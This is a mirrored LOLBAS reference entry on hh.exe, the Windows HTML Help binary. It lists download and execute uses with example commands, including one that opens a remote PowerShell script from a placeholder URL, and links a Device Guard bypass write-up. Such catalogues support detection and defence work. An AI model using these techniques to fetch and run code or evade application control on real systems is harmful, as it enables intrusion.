mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2024-12-30 16:54:00 +01:00
27 lines
553 B
Markdown
27 lines
553 B
Markdown
## hh.exe
|
|
* Functions: Download, Execute
|
|
```
|
|
|
|
HH.exe http://www.google.com
|
|
Opens google's web page with HTML Help.
|
|
|
|
HH.exe C:\
|
|
Opens c:\\ with HTML Help.
|
|
|
|
HH.exe c:\windows\system32\calc.exe
|
|
Opens calc.exe with HTML Help.
|
|
|
|
HH.exe http://some.url/script.ps1
|
|
Open the target PowerShell script with HTML Help.
|
|
```
|
|
|
|
* Resources:
|
|
* https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/
|
|
|
|
* Full path:
|
|
* c:\windows\system32\hh.exe
|
|
* c:\windows\sysWOW64\hh.exe
|
|
|
|
* Notes: Thanks to Oddvar Moe - @oddvarmoe
|
|
|